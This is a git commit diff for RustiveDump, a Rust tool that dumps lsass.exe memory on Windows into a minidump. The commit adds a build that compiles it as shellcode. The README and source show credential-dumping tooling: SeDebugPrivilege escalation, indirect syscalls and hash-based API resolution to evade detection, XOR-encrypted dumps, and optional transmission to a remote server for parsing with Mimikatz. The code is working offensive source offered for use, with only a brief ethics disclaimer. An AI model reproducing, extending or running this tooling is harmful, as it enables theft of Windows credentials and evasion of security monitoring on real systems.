feat: compiled as shellcode

This commit is contained in:
safedv
2024-10-13 15:21:11 +02:00
parent 1a1889ecf1
commit 83d500c877
39 changed files with 1606 additions and 1519 deletions
Generated
+6 -15
View File
@@ -1,25 +1,16 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 3
version = 4
[[package]]
name = "RustiveDump"
version = "0.1.0"
version = "0.1.1"
dependencies = [
"libc-print",
"panic-halt",
]
[[package]]
name = "libc"
version = "0.2.159"
name = "panic-halt"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "561d97a539a36e26a9a5fad1ea11a3039a67714694aaa379433e580854bc3dc5"
[[package]]
name = "libc-print"
version = "0.1.23"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a4a660208db49e35faf57b37484350f1a61072f2a5becf0592af6015d9ddd4b0"
dependencies = [
"libc",
]
checksum = "de96540e0ebde571dc55c73d60ef407c653844e6f9a1e2fdbd40c07b9252d812"
+4 -3
View File
@@ -1,11 +1,11 @@
[package]
name = "RustiveDump"
version = "0.1.0"
version = "0.1.1"
edition = "2021"
authors = ["safedv"]
[dependencies]
libc-print = { version = "0.1.23", optional = true }
panic-halt = "0.2.0"
[profile.dev]
panic = "abort"
@@ -14,10 +14,11 @@ panic = "abort"
panic = "abort"
opt-level = "s"
lto = true
codegen-units = 1
[features]
default = []
debug = []
xor = []
remote = []
lsasrv = []
verbose = ["dep:libc-print"]
+1 -1
View File
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2024 safedv
Copyright (c) 2024 Davide Valitutti
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
+25
View File
@@ -0,0 +1,25 @@
ENTRY(_start);
SECTIONS
{
. = 0x0000;
.text ALIGN(16) :
{
*(.text.prologue)
*(.text*)
*(.rodata*)
*(.rdata*)
*(.global*)
}
/DISCARD/ :
{
*(.interp)
*(.comment)
*(.debug_frame)
*(.bss)
*(.pdata)
*(.xdata)
}
}
+28 -5
View File
@@ -3,7 +3,8 @@ skip_core_tasks = true
[env]
TARGET = "x86_64-pc-windows-gnu"
RUSTFLAGS = "-C link-arg=-nostdlib -C link-arg=-Wl,--gc-sections -C link-arg=-Wl,--subsystem,console -C link-arg=-nostartfiles -C link-arg=-Wl,-e_start"
PIC_RUSTFLAGS = "-C link-arg=-nostdlib -C codegen-units=1 -C link-arg=-fno-ident -C link-arg=-fpack-struct=8 -C link-arg=-Wl,--gc-sections -C link-arg=-falign-jumps=1 -C link-arg=-w -C link-arg=-falign-labels=1 -C relocation-model=pic -C link-arg=-Wl,-T./Linker.ld,--build-id=none -C link-arg=-Wl,-s,--no-seh,--enable-stdcall-fixup -C link-arg=-Wl,--subsystem,console -C link-arg=-nostartfiles -C link-arg=-Wl,-e_start"
EXE_RUSTFLAGS = "-C link-arg=-nostdlib -C link-arg=-Wl,--gc-sections -C link-arg=-Wl,--subsystem,console -C link-arg=-nostartfiles -C link-arg=-Wl,-e_start"
FEATURES = ""
[tasks.default]
@@ -11,22 +12,44 @@ description = "Default task that builds the project."
dependencies = ["build"]
[tasks.build]
description = "Cleans, builds, and strips the project."
description = "Clean, Builds, strips, and objcopy."
dependencies = ["clean", "cargo-build", "strip"]
[tasks.clean]
description = "Cleans the project and removes the binary file."
script = [
"cargo clean",
"cargo clean"
]
[tasks.cargo-build]
description = "Build the project using cargo with custom rustflags and features."
description = "Build the project using cargo with custom rustflags."
command = "cargo"
args = ["build", "--release", "--target", "${TARGET}", "--features", "${FEATURES}"]
env = { "RUSTFLAGS" = "${RUSTFLAGS}" }
env = { "RUSTFLAGS" = "${EXE_RUSTFLAGS}" }
[tasks.strip]
description = "Strips unnecessary sections from the binary."
command = "strip"
args = ["-s", "--strip-unneeded", "-x", "-X", "target/x86_64-pc-windows-gnu/release/RustiveDump.exe"]
[tasks.pic]
description = "Builds with PIC enabled."
dependencies = ["cleanpic", "cargo-build-pic", "strip", "objcopy"]
[tasks.cleanpic]
description = "Cleans the project and removes the binary file."
script = [
"cargo clean",
"rm -f RustiveDump.bin"
]
[tasks.cargo-build-pic]
description = "Build the project using cargo with PIC enabled."
command = "cargo"
args = ["build", "--release", "--target", "${TARGET}", "--features", "${FEATURES}"]
env = { "RUSTFLAGS" = "${PIC_RUSTFLAGS}" }
[tasks.objcopy]
description = "Converts the binary to a .bin file using objcopy."
command = "objcopy"
args = ["-O", "binary", "target/x86_64-pc-windows-gnu/release/RustiveDump.exe", "RustiveDump.bin"]
+20 -9
View File
@@ -4,29 +4,34 @@
It creates a minimal minidump file from scratch, containing essential components like **SystemInfo**, **ModuleList**, and **Memory64List**, with support for **XOR encryption** and **remote transmission**.
Additionally, RustiveDump now implements the design of [Rustic64](https://github.com/safedv/Rustic64), allowing it to be compiled as **Position Independent Code (PIC)**, making it more versatile.
This project is a personal learning experience, focusing on leveraging native Windows APIs for memory dumping and building a minimalistic minidump file entirely from the ground up.
## **Key Features**
1. **NT System Calls for Everything**
1. **NT System Calls for Everything**:
RustiveDump bypasses standard APIs and leverages NT system calls for all its operations.
2. **No-Std and CRT-Independent**:
RustiveDump is built using Rust's `no_std` feature, which removes reliance on Rust's standard library, and it's also **CRT library independent**. This resulting in a lean release build of only **18KB**.
3. **Indirect NT Syscalls**:
3. **Position Independent Code (PIC)**:
RustiveDump now implements the design of Rustic64, allowing it to be compiled as `shellcode (PIC)`, making it more versatile.
4. **Indirect NT Syscalls**:
The tool uses indirect syscalls, retrieving system service numbers (SSN) with techniques like **Hells Gate**, **Halo's Gate**, and **Tartarus' Gate**.
4. **Lean Memory Dump**:
5. **Lean Memory Dump**:
RustiveDump generates a focused memory dump, containing only essential data (i.e., **SystemInfo**, **ModuleList**, and **Memory64List**), ensuring no bloated files—just enough to feed your memory analysis tools like **Mimikatz** or **Pypykatz**.
5. **XOR Encryption**:
6. **XOR Encryption**:
RustiveDump can encrypt the dump file using XOR before saving or transmitting it, adding an extra layer of security to the dumped memory.
6. **Remote File Transmission**:
7. **Remote File Transmission**:
The dump file can be sent directly to a remote server using **winsock** APIs calls
7. **Verbose Mode**:
8. **Debug Mode**:
The verbose mode provides detailed logs of each step, which can be enabled during the build process.
## **How it works**
@@ -53,7 +58,7 @@ RustiveDump offers several configurable build options through **cargo make** to
**Available Features:**
- **xor**: Encrypts the dump file using XOR encryption.
- **verbose**: Enables detailed logs for each step of the process.
- **debug**: Enables detailed logs for each step of the process.
- **remote**: Sends the dump file to a remote server via Winsock.
- **lsasrv**: Filters the memory dump to include only the `lsasrv.dll` module from **lsass.exe**.
@@ -68,8 +73,14 @@ To build RustiveDump with different combinations of features, use the following
```
- **Build with specific features**
```bash
cargo make --env FEATURES=xor,remote,lsasrv,verbose
cargo make --env FEATURES=xor,remote,lsasrv,debug
```
- **Build as Shellcode (PIC)**
```bash
cargo make --env FEATURES=xor,remote pic
```
## **Memory Dump File Structure**
@@ -90,7 +101,7 @@ Always follow ethical guidelines and legal frameworks when doing security resear
## **Credits**
- Inspired by [NativeDump](https://github.com/ricardojoserf/NativeDump). Thanks to the author for sharing their work.
- Inspired by [NativeDump](https://github.com/ricardojoserf/NativeDump) by [ricardojoserf](https://github.com/ricardojoserf). Thanks to the author for sharing their work.
## **Contributions**
-5
View File
@@ -103,8 +103,3 @@ pub extern "C" fn strlen(s: *const u8) -> usize {
}
count
}
/// A static variable required by some environments to indicate floating-point usage.
/// This is a placeholder to ensure compatibility.
#[export_name = "_fltused"]
static _FLTUSED: i32 = 0;
-93
View File
@@ -1,93 +0,0 @@
use core::ffi::c_void;
use core::{
cell::UnsafeCell,
ptr::null_mut,
sync::atomic::{AtomicBool, Ordering},
};
use super::ldrapi::{ldr_function, ldr_module};
pub type WriteFile = unsafe extern "system" fn(
hFile: *mut c_void,
lpBuffer: *const u8,
nNumberOfBytesToWrite: u32,
lpNumberOfBytesWritten: *mut u32,
lpOverlapped: *mut c_void,
) -> i32;
#[repr(C)]
pub struct K32 {
pub write_file: WriteFile,
}
impl K32 {
pub fn new() -> Self {
K32 {
write_file: unsafe { core::mem::transmute(null_mut::<c_void>()) },
}
}
}
static INIT_K32: AtomicBool = AtomicBool::new(false);
pub static mut K32_G: UnsafeCell<Option<K32>> = UnsafeCell::new(None);
pub unsafe fn k32() -> &'static K32 {
ensure_initialized();
return K32_G.get().as_ref().unwrap().as_ref().unwrap();
}
/// Function to ensure that initialization is performed if it hasn't been already.
fn ensure_initialized() {
unsafe {
if !INIT_K32.load(Ordering::Acquire) {
init_k32();
}
}
}
unsafe fn init_k32() {
if !INIT_K32.load(Ordering::Acquire) {
let mut k32 = K32::new();
// Resolve the base address of `kernel32.dll` using its hash (0x6ddb9555).
let kernel32_base = ldr_module(0x6ddb9555);
// Resolve the address of `WriteFile` function from `kernel32.dll` using its hash (0xf1d207d0).
let k_write_file_addr = ldr_function(kernel32_base, 0xf1d207d0);
// Cast the resolved address to a callable function of type `WriteFile`.
k32.write_file = core::mem::transmute(k_write_file_addr);
*K32_G.get() = Some(k32);
INIT_K32.store(true, Ordering::Release);
}
}
/// Global mutable instance of the agent.
/// Implements a low-level `_write` function that writes data to a file descriptor (typically `stdout` or `stderr`).
/// This function resolves the `WriteFile` function from `kernel32.dll` and uses it to perform the actual write.
#[no_mangle]
extern "C" fn _write(_fd: i32, buf: *const u8, count: usize) -> isize {
unsafe {
let mut written: u32 = 0; // Variable to store the number of bytes written.
let handle = -11i32 as u32; // File handle for `stdout` or `stderr` (often -11 represents `stdout` on Windows).
// Call `WriteFile` with the handle, buffer, and count of bytes to write.
let ntstatus = (k32().write_file)(
handle as *mut c_void, // File handle
buf, // Buffer containing the data to write
count as u32, // Number of bytes to write
&mut written, // Pointer to the variable that will receive the number of bytes written
core::ptr::null_mut(), // No overlapped structure
);
// Return the number of bytes written or an error code (if `ntstatus` is negative).
if ntstatus < 0 {
ntstatus as isize
} else {
written as isize
}
}
}
+7 -6
View File
@@ -1,8 +1,9 @@
use super::utils::{dbj2_hash, get_cstr_len};
use crate::ntapi::def::{
find_peb, ImageDosHeader, ImageExportDirectory, ImageNtHeaders, LoaderDataTableEntry,
PebLoaderData, IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE,
use crate::{
common::utils::{dbj2_hash, get_cstr_len},
native::ntdef::{
find_peb, ImageDosHeader, ImageExportDirectory, ImageNtHeaders, LoaderDataTableEntry,
PebLoaderData, IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE,
},
};
use core::ptr::null_mut;
@@ -90,7 +91,7 @@ pub unsafe fn ldr_function(module_base: *mut u8, function_hash: usize) -> *mut u
}
// Get the export directory from the NT headers
let data_directory = &(*p_img_nt_headers).optional_header.data_directory[0]; // Assuming IMAGE_DIRECTORY_ENTRY_EXPORT is 0
let data_directory = &(*p_img_nt_headers).optional_header.data_directory[0];
let export_directory =
(module_base.offset(data_directory.virtual_address as isize)) as *mut ImageExportDirectory;
if export_directory.is_null() {
-6
View File
@@ -1,9 +1,3 @@
pub mod crtapi;
pub mod ldrapi;
pub mod utils;
#[cfg(feature = "verbose")]
pub mod debug;
#[cfg(feature = "xor")]
pub mod xor;
-33
View File
@@ -1,9 +1,3 @@
#[cfg(not(feature = "remote"))]
use alloc::string::String;
#[cfg(not(feature = "remote"))]
use crate::ntapi::def::UnicodeString;
/// Computes the DJB2 hash for the given buffer
pub fn dbj2_hash(buffer: &[u8]) -> u32 {
let mut hsh: u32 = 5381;
@@ -61,30 +55,3 @@ impl IsNull for u16 {
*self == 0
}
}
#[cfg(not(feature = "remote"))]
pub fn unicodestring_to_string(unicode_string: &UnicodeString) -> Option<String> {
if unicode_string.length == 0 || unicode_string.buffer.is_null() {
return None;
}
let slice = unsafe {
core::slice::from_raw_parts(unicode_string.buffer, (unicode_string.length / 2) as usize)
};
String::from_utf16(slice).ok()
}
#[cfg(feature = "verbose")]
#[macro_export]
macro_rules! debug_println {
($($arg:tt)*) => ({
libc_println!($($arg)*);
});
}
#[cfg(not(feature = "verbose"))]
#[macro_export]
macro_rules! debug_println {
($($arg:tt)*) => {};
}
+46
View File
@@ -0,0 +1,46 @@
use core::{ffi::c_void, ptr::null_mut};
use crate::{
common::ldrapi::{ldr_function, ldr_module},
get_instance,
};
pub type WriteFile = unsafe extern "system" fn(
hFile: *mut c_void,
lpBuffer: *const c_void,
nNumberOfBytesToWrite: u32,
lpNumberOfBytesWritten: *mut u32,
lpOverlapped: *mut c_void,
) -> i32;
pub struct Kernel32 {
pub module_hash: u32,
pub module_base: *mut u8,
pub write_file: WriteFile,
}
impl Kernel32 {
pub fn new() -> Self {
Kernel32 {
module_hash: 0x6ddb9555,
module_base: null_mut(),
write_file: unsafe { core::mem::transmute(null_mut::<c_void>()) },
}
}
}
unsafe impl Sync for Kernel32 {}
unsafe impl Send for Kernel32 {}
pub fn init_kernel32_funcs() {
unsafe {
let instance = get_instance().unwrap();
//Kernel32.dll
instance.k32.module_base = ldr_module(instance.k32.module_hash);
//WriteFile
let k_write_file_addr = ldr_function(instance.k32.module_base, 0xf1d207d0);
instance.k32.write_file = core::mem::transmute(k_write_file_addr);
}
}
+138
View File
@@ -0,0 +1,138 @@
pub mod k32;
use alloc::string::String;
use alloc::string::ToString;
#[macro_export]
macro_rules! debug_println {
// Case 1: Just printing a message without any values
($msg:expr) => {{
let mut bytes_written: u32 = 0;
unsafe {
($crate::instance::get_instance().unwrap().k32.write_file)(
-11i32 as u32 as *mut core::ffi::c_void, // Handle for STD_OUTPUT_HANDLE
$msg.as_ptr() as *const core::ffi::c_void, // Pointer to the message
$msg.len() as u32, // Length of the message
&mut bytes_written, // Bytes written output
core::ptr::null_mut(),
);
}
}};
// Case 2: Printing an NTSTATUS value (i32) in hex, always
($msg:expr, $val:expr) => {{
// Format the NTSTATUS value as hex
let formatted_val = $crate::debug::itoa_hex_i32($val); // Convert i32 directly to hex
// Concatenate the message and the formatted value
let full_msg = [$msg, &formatted_val, "\n"].concat();
let mut bytes_written: u32 = 0;
unsafe {
($crate::instance::get_instance().unwrap().k32.write_file)(
-11i32 as u32 as *mut core::ffi::c_void, // Handle for STD_OUTPUT_HANDLE
full_msg.as_ptr() as *const core::ffi::c_void, // Pointer to the full message
full_msg.len() as u32, // Length of the full message
&mut bytes_written, // Bytes written output
core::ptr::null_mut(),
);
}
}};
// Case 3: Printing a usize value in decimal or hex
($msg:expr, $val:expr, $as_hex:expr) => {{
// Format the value as decimal or hexadecimal based on $as_hex
let formatted_val = if $as_hex {
$crate::debug::itoa_hex($val as usize) // Convert usize to hex
} else {
$crate::debug::itoa($val as usize) // Convert usize to decimal
};
// Concatenate the message and the formatted value
let full_msg = [$msg, &formatted_val, "\n"].concat();
let mut bytes_written: u32 = 0;
unsafe {
($crate::instance::get_instance().unwrap().k32.write_file)(
-11i32 as u32 as *mut core::ffi::c_void, // Handle for STD_OUTPUT_HANDLE
full_msg.as_ptr() as *const core::ffi::c_void, // Pointer to the full message
full_msg.len() as u32, // Length of the full message
&mut bytes_written, // Bytes written output
core::ptr::null_mut(),
);
}
}};
}
// Helper function to convert usize to decimal string
pub fn itoa(mut value: usize) -> String {
if value == 0 {
return "0".to_string(); // Special case for 0
}
let mut result = String::new();
// Convert number to decimal string
while value > 0 {
let digit = (value % 10) as u8;
result.push((digit + b'0') as char); // Add the corresponding ASCII character
value /= 10;
}
// Reverse the string since it's built backwards and return the final result
result.chars().rev().collect()
}
/// Converts a 32-bit integer (i32) to a hexadecimal string in uppercase.
pub fn itoa_hex_i32(value: i32) -> String {
let hex_digits = b"0123456789ABCDEF"; // Array of uppercase hexadecimal digits.
let mut result = String::new();
let mut num = value as u32; // Treat the value as u32 while preserving the bit pattern of i32.
if num == 0 {
return "0x0".to_string(); // Special case for the value 0.
}
// Convert the number to hexadecimal by repeatedly dividing by 16 and collecting the remainder.
while num > 0 {
let digit = (num % 16) as usize;
result.push(hex_digits[digit] as char);
num /= 16;
}
// Pad with zeros to ensure the hexadecimal number is represented by 8 digits.
// NTSTATUS codes are always represented with 8 characters in hexadecimal.
while result.len() < 8 {
result.push('0');
}
// Append the "0x" prefix at the beginning.
result.push_str("x0");
// Reverse the string to correct the order (since we built it from the least significant digit).
result.chars().rev().collect()
}
// Helper function to convert a memory address (pointer) to a hexadecimal string with 0x prefix and uppercase
pub fn itoa_hex(value: usize) -> String {
let hex_digits = b"0123456789ABCDEF"; // Uppercase hexadecimal digits
let mut result = String::new();
let mut num = value;
if num == 0 {
return "0x0".to_string(); // Special case for 0
}
// Convert number to hexadecimal
while num > 0 {
let digit = (num % 16) as usize;
result.push(hex_digits[digit] as char);
num /= 16;
}
// Add the '0x' prefix
result.push_str("x0");
// Reverse the string since it's built backwards and return the final result
result.chars().rev().collect()
}
-108
View File
@@ -1,108 +0,0 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use core::ffi::c_void;
use alloc::{
string::{String, ToString},
vec::Vec,
};
use crate::{
debug_println,
mdfile::{MemoryRegion, ModuleInfo},
ntapi::{
def::{MEM_COMMIT, PAGE_NOACCESS},
memory::{query_memory_info, read_memory},
},
};
/// Traverses and dumps the memory regions of a process, storing the memory regions and the memory dump.
///
/// This function iterates through the memory space of a process, queries memory information,
/// reads the memory, and dumps it into the provided vectors.
pub unsafe fn dump_memory_regions(
process_handle: *mut c_void,
module_info_list: &mut Vec<ModuleInfo>,
memory64list: &mut Vec<MemoryRegion>,
memory_regions: &mut Vec<u8>,
) {
// Initialize variables for memory region traversal and dumping.
let mut memory_address: usize = 0; // Start memory address for dumping.
let max_memory_address: usize = 0x7FFF_FFFE_FFFF; // The maximum user-mode address.
let mut tmp_module_base_name = String::new(); // Auxiliary variable to store the module's base name.
let mut tmp_memory_region_size = 0usize; // To track the size of the memory regions.
// Loop through the process's memory space until the maximum address is reached.
while memory_address < max_memory_address {
// Query information about the current memory region.
if let Some(memory_info) = query_memory_info(process_handle, memory_address as *mut c_void)
{
// Check if the memory region is committed and accessible.
if memory_info.protect != PAGE_NOACCESS && memory_info.state == MEM_COMMIT {
// Try to match the current region with known modules based on their base addresses.
let matching_object = module_info_list
.iter_mut()
.find(|obj| obj.base_name == tmp_module_base_name);
// If the region size is 0x1000 and does not match a module, update the module info.
if memory_info.region_size == 0x1000
&& memory_info.base_address as usize
!= matching_object
.as_ref()
.map(|obj| obj.base_address)
.unwrap_or(0)
{
// If a module was found, update its region size.
if let Some(module) = matching_object {
module.region_size = tmp_memory_region_size;
}
// Update auxiliary name and size based on the current memory region.
tmp_module_base_name = module_info_list
.iter()
.find(|module| module.base_address == memory_info.base_address as usize)
.map(|module| module.base_name.clone())
.unwrap_or_else(|| "Unknown".to_string());
tmp_memory_region_size = memory_info.region_size as usize;
} else {
// Accumulate the region size.
tmp_memory_region_size += memory_info.region_size as usize;
}
// Read the memory region if it's valid and dump it.
if let Some(buffer) = read_memory(
process_handle as *mut c_void,
memory_info.base_address as *mut c_void,
memory_info.region_size as usize,
) {
// Append the read memory region to the dump.
memory_regions.extend_from_slice(&buffer);
// Add the memory region to the list of dumped regions.
memory64list.push(MemoryRegion {
base_address: memory_address,
region_size: memory_info.region_size as usize,
});
}
}
// Move to the next memory region by incrementing the memory address.
memory_address += memory_info.region_size as usize;
} else {
// If querying the memory fails, print an error message and break out of the loop.
debug_println!(
"[-] Failed to query memory at address: 0x{:X}",
memory_address
);
break;
}
}
// Update the region size of the last matched module.
if let Some(module) = module_info_list
.iter_mut()
.find(|module| module.base_name == tmp_module_base_name)
{
module.region_size = tmp_memory_region_size;
}
}
+218
View File
@@ -0,0 +1,218 @@
use core::ffi::c_void;
use alloc::{
string::{String, ToString},
vec::Vec,
};
use crate::{
common::utils::dbj2_hash,
debug_println,
instance::get_instance,
native::{
memory::{query_memory_info, read_memory, read_remote_int_ptr, read_remote_wstr},
ntdef::{ProcessBasicInformation, MEM_COMMIT, PAGE_NOACCESS},
},
};
use super::mdfile::{MemoryRegion, ModuleInfo};
/// Retrieves the list of loaded modules in a process's memory.
///
/// Uses the process handle to query the PEB (Process Environment Block) and retrieves
/// information about the loaded modules in the process. Optionally filters modules by a hash.
pub fn get_modules_info(process_handle: *mut c_void, module_hash: Option<u32>) -> Vec<ModuleInfo> {
let mut process_information: ProcessBasicInformation = unsafe { core::mem::zeroed() };
let mut return_length: u32 = 0;
// Query the process information to get the PEB base address.
let status = unsafe {
get_instance()
.unwrap()
.ntdll
.nt_query_information_process
.run(
process_handle as *mut c_void,
0, // ProcessBasicInformation
&mut process_information as *mut _ as *mut c_void,
core::mem::size_of::<ProcessBasicInformation>() as u32,
&mut return_length,
)
};
if status != 0 {
panic!("[-] Failed to query process information.");
}
debug_println!(
"[+] PEB Base Address: ",
process_information.peb_base_address as usize,
true
);
// Compute the address of the loader's data structure from the PEB.
let ldr_offset = 0x18;
let ldr_pointer = (process_information.peb_base_address as usize + ldr_offset) as *mut c_void;
let ldr_address = read_remote_int_ptr(process_handle, ldr_pointer);
// Get the address of the module list from the loader data.
let in_initialization_order_module_list_offset = 0x30;
let module_list_address =
(ldr_address + in_initialization_order_module_list_offset) as *mut c_void;
let mut next_flink = read_remote_int_ptr(process_handle, module_list_address);
// Offsets within the LDR module structure.
let flink_dllbase_offset = 0x20;
let flink_buffer_fulldllname_offset = 0x40;
let flink_buffer_offset = 0x50;
let mut module_info_arr: Vec<ModuleInfo> = Vec::new();
let mut dll_base = 1337;
// Loop through the module list until the base address is zero.
while dll_base != 0 {
next_flink -= 0x10;
// Read the base address of the module.
dll_base = read_remote_int_ptr(
process_handle,
(next_flink + flink_dllbase_offset) as *mut c_void,
);
if dll_base == 0 {
break;
}
// Read the base and full DLL names from memory.
let base_dll_name_ptr = read_remote_int_ptr(
process_handle,
(next_flink + flink_buffer_offset) as *mut c_void,
) as *mut c_void;
let base_dll_name = read_remote_wstr(process_handle, base_dll_name_ptr);
let full_dll_name_ptr = read_remote_int_ptr(
process_handle,
(next_flink + flink_buffer_fulldllname_offset) as *mut c_void,
) as *mut c_void;
let full_dll_name = read_remote_wstr(process_handle, full_dll_name_ptr);
// If a module hash is provided, filter by hash; otherwise, include all modules.
match module_hash {
Some(value) => {
if value == dbj2_hash(base_dll_name.clone().as_bytes()) {
module_info_arr.push(ModuleInfo {
base_name: base_dll_name,
full_dll_name,
base_address: dll_base,
region_size: 0,
});
break; // Stop searching after finding the matching module.
}
}
None => {
module_info_arr.push(ModuleInfo {
base_name: base_dll_name,
full_dll_name,
base_address: dll_base,
region_size: 0,
});
}
}
// Move to the next module in the list.
next_flink = read_remote_int_ptr(process_handle, (next_flink + 0x10) as *mut c_void);
}
module_info_arr
}
/// Traverses and dumps the memory regions of a process, storing the memory regions and the memory dump.
///
/// This function iterates through the memory space of a process, queries memory information,
/// reads the memory, and dumps it into the provided vectors.
pub unsafe fn dump_memory_regions(
process_handle: *mut c_void,
module_info_list: &mut Vec<ModuleInfo>,
memory64list: &mut Vec<MemoryRegion>,
memory_regions: &mut Vec<u8>,
) {
// Initialize variables for memory region traversal and dumping.
let mut memory_address: usize = 0; // Start memory address for dumping.
let max_memory_address: usize = 0x7FFF_FFFE_FFFF; // The maximum user-mode address.
let mut tmp_module_base_name = String::new(); // Auxiliary variable to store the module's base name.
let mut tmp_memory_region_size = 0usize; // To track the size of the memory regions.
// Loop through the process's memory space until the maximum address is reached.
while memory_address < max_memory_address {
// Query information about the current memory region.
if let Some(memory_info) = query_memory_info(process_handle, memory_address as *mut c_void)
{
// Check if the memory region is committed and accessible.
if memory_info.protect != PAGE_NOACCESS && memory_info.state == MEM_COMMIT {
// Try to match the current region with known modules based on their base addresses.
let matching_object = module_info_list
.iter_mut()
.find(|obj| obj.base_name == tmp_module_base_name);
// If the region size is 0x1000 and does not match a module, update the module info.
if memory_info.region_size == 0x1000
&& memory_info.base_address as usize
!= matching_object
.as_ref()
.map(|obj| obj.base_address)
.unwrap_or(0)
{
// If a module was found, update its region size.
if let Some(module) = matching_object {
module.region_size = tmp_memory_region_size;
}
// Update auxiliary name and size based on the current memory region.
tmp_module_base_name = module_info_list
.iter()
.find(|module| module.base_address == memory_info.base_address as usize)
.map(|module| module.base_name.clone())
.unwrap_or_else(|| "Unknown".to_string());
tmp_memory_region_size = memory_info.region_size as usize;
} else {
// Accumulate the region size.
tmp_memory_region_size += memory_info.region_size as usize;
}
// Read the memory region if it's valid and dump it.
if let Some(buffer) = read_memory(
process_handle as *mut c_void,
memory_info.base_address as *mut c_void,
memory_info.region_size as usize,
) {
// Append the read memory region to the dump.
memory_regions.extend_from_slice(&buffer);
// Add the memory region to the list of dumped regions.
memory64list.push(MemoryRegion {
base_address: memory_address,
region_size: memory_info.region_size as usize,
});
}
}
// Move to the next memory region by incrementing the memory address.
memory_address += memory_info.region_size as usize;
} else {
// If querying the memory fails, print an error message and break out of the loop.
debug_println!(
"[-] Failed to query memory at address: ",
memory_address as usize,
true
);
break;
}
}
// Update the region size of the last matched module.
if let Some(module) = module_info_list
.iter_mut()
.find(|module| module.base_name == tmp_module_base_name)
{
module.region_size = tmp_memory_region_size;
}
}
+11 -10
View File
@@ -1,9 +1,6 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use alloc::{string::String, vec::Vec};
use crate::{debug_println, ntapi::def::OSVersionInfo};
use crate::{debug_println, native::ntdef::OSVersionInfo};
// Struct for holding information about a module (DLL), including its base name,
// full path, base address in memory, and the size of the memory region it occupies.
@@ -45,12 +42,16 @@ pub fn generate_memory_dump_file(
let offset_memory_regions = mem64list_offset + mem64list_size; // The actual memory dump data comes after Memory64List.
// Debug prints to show calculated values if verbose mode is enabled.
debug_println!("[+] Total number of modules: {}", number_modules);
debug_println!("[+] ModuleListStream size: {}", modulelist_size);
debug_println!("[+] Mem64List offset: {}", mem64list_offset);
debug_println!("[+] Mem64List size: {}", mem64list_size);
debug_println!("[+] Regions memory dump size: {}", regions_memdump.len());
debug_println!("[+] Number of memory regions: {}", memory64list.len());
debug_println!("[+] Total number of modules: ", number_modules, false);
debug_println!("[+] ModuleListStream size: ", modulelist_size, false);
debug_println!("[+] Mem64List offset: ", mem64list_offset, false);
debug_println!("[+] Mem64List size: ", mem64list_size, false);
debug_println!(
"[+] Regions memory dump size: ",
regions_memdump.len(),
false
);
debug_println!("[+] Number of memory regions: ", memory64list.len(), false);
// **Header section for the dump file**
let mut header: Vec<u8> = Vec::new();
+2
View File
@@ -0,0 +1,2 @@
pub mod dump;
pub mod mdfile;
+1
View File
@@ -0,0 +1 @@
pub mod xor;
+10 -11
View File
@@ -2,22 +2,22 @@ use alloc::vec::Vec;
use core::ffi::c_void;
use crate::{
dump::dump_memory_regions,
mdfile::{MemoryRegion, ModuleInfo},
ntapi::{
def::{PROCESS_QUERY_INFORMATION, PROCESS_VM_READ},
memory::get_modules_info,
privilege::enable_se_debug_privilege,
process::get_process_handle_by_name,
dumper::{
dump::{dump_memory_regions, get_modules_info},
mdfile::{MemoryRegion, ModuleInfo},
},
native::{
ntdef::{PROCESS_QUERY_INFORMATION, PROCESS_VM_READ},
ntpsapi::{enable_se_debug_privilege, get_process_handle_by_name},
},
};
#[cfg(not(feature = "remote"))]
use crate::ntapi::file::save_file;
#[cfg(feature = "remote")]
use crate::remote::winsock::send_file;
#[cfg(not(feature = "remote"))]
use crate::native::ntfile::save_file;
/// Enables SeDebugPrivilege for the process.
/// This is necessary to access system processes like `lsass.exe`.
pub fn initialize_privileges() -> i32 {
@@ -48,7 +48,6 @@ pub fn perform_memory_dump(
let mut memory64list: Vec<MemoryRegion> = Vec::new();
let mut memory_regions: Vec<u8> = Vec::new();
// Unsafe call to dump memory regions of the process.
unsafe {
dump_memory_regions(
process_handle,
+57
View File
@@ -0,0 +1,57 @@
use crate::native::{ntapi::NtDll, ntdef::find_peb};
#[cfg(feature = "debug")]
use crate::debug::k32::Kernel32;
#[cfg(feature = "remote")]
use crate::remote::winsock::Winsock;
// A magic number to identify a valid `Instance` struct
pub const INSTANCE_MAGIC: u32 = 0x17171717;
#[repr(C)]
// The main structure holding system API modules and the magic value
pub struct Instance {
pub magic: u32, // Unique value to identify a valid instance
pub ntdll: NtDll, // NtDll API functions
#[cfg(feature = "debug")]
pub k32: Kernel32, // Kernel32 API functions
#[cfg(feature = "remote")]
pub winsock: Winsock, // Winsock API functions
}
impl Instance {
pub fn new() -> Self {
Instance {
magic: INSTANCE_MAGIC,
ntdll: NtDll::new(),
#[cfg(feature = "debug")]
k32: Kernel32::new(),
#[cfg(feature = "remote")]
winsock: Winsock::new(),
}
}
}
/// Attempts to locate the global `Instance` by scanning process heaps and
/// returns a mutable reference to it if found.
pub unsafe fn get_instance() -> Option<&'static mut Instance> {
let peb = find_peb(); // Locate the PEB (Process Environment Block)
let process_heaps = (*peb).process_heaps;
let number_of_heaps = (*peb).number_of_heaps as usize;
for i in 0..number_of_heaps {
let heap = *process_heaps.add(i);
if !heap.is_null() {
let instance = &mut *(heap as *mut Instance);
if instance.magic == INSTANCE_MAGIC {
return Some(instance); // Return the instance if the magic value matches
}
}
}
None
}
+34 -28
View File
@@ -2,35 +2,46 @@
#![no_main]
extern crate alloc;
extern crate panic_halt;
use core::ptr::null_mut;
mod common;
mod dump;
mod helper;
mod mdfile;
mod ntapi;
#[cfg(feature = "remote")]
mod remote;
use dumper::mdfile::generate_memory_dump_file;
use helper::{
get_process_handle, handle_output_file, initialize_privileges, perform_memory_dump,
retrieve_modules,
};
use mdfile::generate_memory_dump_file;
use ntapi::{allocator::NtVirtualAlloc, def::OSVersionInfo, utils::rtl_get_version};
use instance::get_instance;
use native::ntdef::OSVersionInfo;
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use crate::native::ntpsapi::rtl_get_version;
mod common;
mod dumper;
mod helper;
mod instance;
mod native;
mod premain;
